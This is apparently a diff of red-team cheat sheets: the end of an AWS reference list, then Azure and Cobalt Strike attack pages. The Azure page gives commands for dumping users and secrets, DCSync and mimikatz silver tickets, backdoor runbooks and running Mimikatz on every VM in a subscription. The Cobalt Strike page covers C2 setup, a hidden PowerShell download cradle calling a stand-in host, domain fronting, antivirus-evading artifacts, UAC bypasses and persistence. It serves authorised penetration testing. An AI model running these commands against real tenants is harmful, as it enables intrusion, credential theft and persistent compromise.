* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
* [amazon-guardduty-user-guide PenTest Finding Types - @awsdocs](https://github.com/awsdocs/amazon-guardduty-user-guide/blob/master/doc_source/guardduty_pentest.md)
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)

View File

@ -0,0 +1,446 @@
# Azure
## Summary
* [Tools](#tools)
* [Azure Architecture](#azure-architecture)
* [Azure Storage Account - Access](#azure-storage-account----access)
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
* [Azure AD - Enumeration](#azure-ad---enumeration)
* [Azure AD - Sign in with a service principal](#azure-ad---sign-in-with-a-service-principal)
* [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction)
* [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync)
* [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket)
* [Azure AD - ADFS Federation Server ~Cloud Kerberos](#azure-ad---adfs-federation-server-cloud-kerberos)
* [Azure AD - Persistence via Automation accounts](#azure-ad---persistence-via-automation-accounts)
* [Azure VM - Execute command as NT SYSTEM with Contributor right](#azure-vm---execute-command-as-nt-system-with-contributor-right)
* [Office365 - Enumerating Users](#office365---enumerating-users)
* [References](#references)
## Tools
:warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD.
:warning: Tokens for Azure are cached in `C:\Users\[Name]\.Azure\accessTokens.json`
* **PowerZure** -
```powershell
require az module !
$ git clone https://github.com/hausec/PowerZure
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]
# Reader
$ Get-Runbook
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
* **Azure CLI** - Default azure CLI
```powershell
$ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
$ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
$ sudo apt-get install apt-transport-https
$ sudo apt-get update && sudo apt-get install azure-cli
# dump users
$ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
```
* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
```powershell
$ git clone https://github.com/NetSPI/MicroBurst
PS C:> Import-Module .\MicroBurst.psm1
PS C:> Import-Module .\Get-AzureDomainInfo.ps1
PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
```
* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
Require:
- Read-Only permissions over Azure Directory (Tenant)
- Read-Only permissions over Subscription
- Require AZ and AzureAD module or administrator right
```powershell
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AzureStealth
or in the Cloud Console
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
PS C> Scan-AzureAdmins
```
* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
```powershell
git clone https://github.com/mwrlabs/Azurite.git
git clone https://github.com/FSecureLABS/Azurite
git submodule init
git submodule update
PS> Import-Module AzureRM
PS> Import-Module AzuriteExplorer.ps1
PS> Review-AzureRmSubscription
PS> Review-CustomAzureRmSubscription
```
* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
```powershell
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
## Azure Architecture
![Azure Architecture](https://miro.medium.com/max/880/0*-5NqtHX2C8arkwQG)
* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
## Azure Storage Account - Access
* Blobs *.blob.core.windows.net
```powershell
$ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S
```
* File Services *.file.core.windows.net
* Data Tables *.table.core.windows.net
* Queues *.queue.core.windows.net
z
```powershell
# https://github.com/NetSPI/MicroBurst
S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123]
Found Storage Account - secure.blob.core.windows.net
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
Found Storage Account - securefilestorage.blob.core.windows.net
Found Storage Account - securestorageaccount.blob.core.windows.net
Found Storage Account - securesql.blob.core.windows.net
Found Storage Account - hrsecure.blob.core.windows.net
Found Storage Account - secureit.blob.core.windows.net
Found Storage Account - secureimages.blob.core.windows.net
Found Storage Account - securestorage.blob.core.windows.net
Bing Found Storage Account - notrealstorage.blob.core.windows.net
Found Container - hrsecure.blob.core.windows.net/NETSPItest
```
## Azure AD vs Active Directory
| Active Directory | Azure AD |
|---|---|
| LDAP | REST API'S |
| NTLM/Kerberos | OAuth/SAML/OpenID |
| Structured directory (OU tree) | Flat structure |
| GPO | No GPO's |
| Super fine-tuned access controls | Predefined roles |
| Domain/forest | Tenant |
| Trusts | Guests |
* Password Hash Syncronization (PHS)
* Passwords from on-premise AD are sent to the cloud
* Use replication via a service account created by AD Connect
* Pass Through Authentication (PTA)
* Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
* Connect Windows Server AD to Azure AD using Federation Server (ADFS)
* Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
## Azure AD - Enumeration
> By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph.
```powershell
$ git clone https://github.com/dirkjanm/ROADtools
$ pip install roadrecon
$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
$ roadrecon dump
$ roadrecon gui
```
Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD
```powershell
PS C:\> git clone https://github.com/adrecon/AzureADRecon.git
PS C:\> Install-Module -Name AzureAD
PS C:\> .\AzureADRecon.ps1
or
PS C:\> $username = "username@fqdn"
PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd)
PS C:\> .\AzureADRecon.ps1 -Credential $creds
PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report-<timestamp>
```
```powershell
# Azure AD powershell module
Get-AzureADDirectoryRole
# MSOnline powershell module
Get-MsolRole
Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl
#Connect to Azure AD using Powershell
install-module azuread
import-module azuread
get-module azuread
connect-azuread
# Get list of users with role global admins# Note that role =! group
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
# Get all groups and an example using filter
Get-AzureADGroup
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
# Get Azure AD policy
Get-AzureADPolicy
# Get Azure AD roles with some examples
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}
Get-AzureADDirectoryRoleTemplate
# Get Azure AD SPNs
Get-AzureADServicePrincipal
# Log in using Azure CLI (this is not powershell)
az login --allow-no-subscriptions
# Get member list using Azure CLI
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'
# Get user list
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com'
#PS script to get array of users / roles
$roleUsers = @()
$roles=Get-AzureADDirectoryRole
ForEach($role in $roles) {
$users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
ForEach($user in $users) {
write-host $role.DisplayName,$user.DisplayName
$obj = New-Object PSCustomObject
$obj | Add-Member -type NoteProperty -name RoleName -value ""
$obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
$obj | Add-Member -type NoteProperty -name IsAdSynced -value false
$obj.RoleName=$role.DisplayName
$obj.UserDisplayName=$user.DisplayName
$obj.IsAdSynced=$user.DirSyncEnabled -eq $true
$roleUsers+=$obj
}
}
$roleUsers
### Enumeration using Microburst
git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1
Import-Module .\MicroBurst.psm1
# Anonymous enumeration
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -base company -verbose
# Authencticated enumeration
Get-AzureADDomainInfo
Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo
Get-MSOLDomainInfo
```
With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
2. Change your browser URL to: https://azure.microsoft.com/
3. Pick the account from the active sessions
4. Select Azure Active Directory and enjoy!
## Azure AD - Sign in with a service principal
https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.3.0&viewFallbackFrom=azurermps-6.5.0#sign-in-with-a-service-principal
:warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
* Password based authentication
```powershell
# Use the service principal ID for the username
$pscredential = Get-Credential
Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId
```
* Certificate based authentication
```powershell
Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint <thumbprint>
```
## Azure AD Connect - Password extraction
Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally
--- | --- | --- | --- | ---
ADSyncDecrypt | Yes | Yes | No | No
ADSyncGather | Yes | No | No | Yes
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes
```powershell
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
```
## Azure AD Connect - MSOL Account's password and DCSync
You can perform **DCSync** attack using the MSOL account.
Prerequisite:
* Compromise a server with Azure AD Connect service
* Access to ADSyncAdmins or local Administrators groups
Use the script **azuread_decrypt_msol.ps1** from @xpn : https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1 to recover the decrypted password for the MSOL account
## Azure AD Connect - Seamless Single Sign On Silver Ticket
> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)
:warning: The password of the AZUREADSSOACC account never changes.
Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure
1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`.
```powershell
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
```
2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`.
4. Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```
5. Launch Mozilla Firefox
6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
## Azure AD - ADFS Federation Server ~Cloud Kerberos
Discover Federation Servers
* adfs
* auth
* fs
* okta
* ping
* sso
* sts
OWA Version Discovery : autodiscover.domain.com
## Azure AD - Persistence via Automation accounts
* Create a new Automation Account
* "Create Azure Run As account": Yes
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
* Sample runbook for this Blog located here https://github.com/NetSPI/MicroBurst
* Publish the runbook
* Add a webhook to the runbook
* Add the AzureAD module to the Automation account
* Update the Azure Automation Modules
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
* Eventually lose your access…
* Trigger the webhook with a post request to create the new user
```powershell
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
$AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Azure VM - Execute command as NT SYSTEM with Contributor right
> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
```powershell
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName Name
----------------- ----
TESTRESOURCES Remote-Test
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
```
Against the whole subscription using MicroBurst.ps1
```powershell
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
## Office365 - Enumerating Users
NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
* Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1
```powershell
RealmInfo Success="true">
<State>3</State>
<UserState>2</UserState>
<Login>firstname.lastname@domain.com</Login>
<NameSpaceType>Federated</NameSpaceType>
<DomainName>domain.com</DomainName>
<FederationGlobalVersion>-1</FederationGlobalVersion>
<AuthURL>
https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=
</AuthURL>
```
* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
## References
* [An introduction to penetration testing Azure - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-azure/)
* [Running POwershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
* [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/)
* [Maintaining Azure Persistence via automation accounts - Netspi](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
* [Detecting an attacks on active directory with Azure - Smartspate](https://www.smartspate.com/detecting-an-attacks-on-active-directory-with-azure/)
* [Azure AD Overview](https://www.youtube.com/watch?v=l_pnNpdxj20)
* [Windows Azure Active Directory in plain English](https://www.youtube.com/watch?v=IcSATObaQZE)
* [Building Free Active Directory Lab in Azure - @kamran.bilgrami](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f)
* [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a)
* [Azure AD connect for RedTeam - @xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/)
* [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/)
* [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/)
* [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/)

View File

@ -0,0 +1,411 @@
# Cobalt Strike
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
```powershell
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
```
## Summary
* [Infrastructure](#infrastructure)
* [Redirectors](#redirectors)
* [Domain fronting](#domain-fronting)
* [OpSec](#opsec)
* [Payloads](#payloads)
* [DNS Beacon](#dns-beacon)
* [SMB Beacon](#smb-beacon)
* [Metasploit compatibility](#metasploit-compatibility)
* [Custom Payloads](#custom-payloads)
* [Malleable C2](#malleable-c2)
* [Files](#files)
* [Powershell .NET](#powershell-net)
* [Lateral Movement](#lateral-movement)
* [VPN & Pivots](#vpn--pivots)
* [Kits](#kits)
* [Elevate Kit](#elevate-kit)
* [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
* [References](#references)
## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Target Finance & Healthcare domains
### OpSec
**Don't**
* Change default self-signed HTTPS certificate
* Change default port (50050)
* 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
## Payload
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
```powershell
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
```
```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
```
Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`
### SMB Beacon
Uses Named Pipes.
Connect to an SMB Beacon : `link [host] [pipe]`
### Metasploit compatibility
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j
### Custom Payloads
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
```powershell
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```
## Malleable C2
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
```powershell
#
# Etumbot Profile
# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
```
## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell .NET
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
# Run a local .NET executable as a Beacon post-exploitation job
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
```
## Lateral Movement
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
```
Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`
### Assume Control of Artifact
* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon
## VPN & Pivots
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
```
## Kits
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
```powershell
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
```
### Persistence Kit
* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
```powershell
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```
### Resource Kit
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- `sudo apt-get install mingw-w64`
- Edit the Artifact code
* Change pipename strings
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
* Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
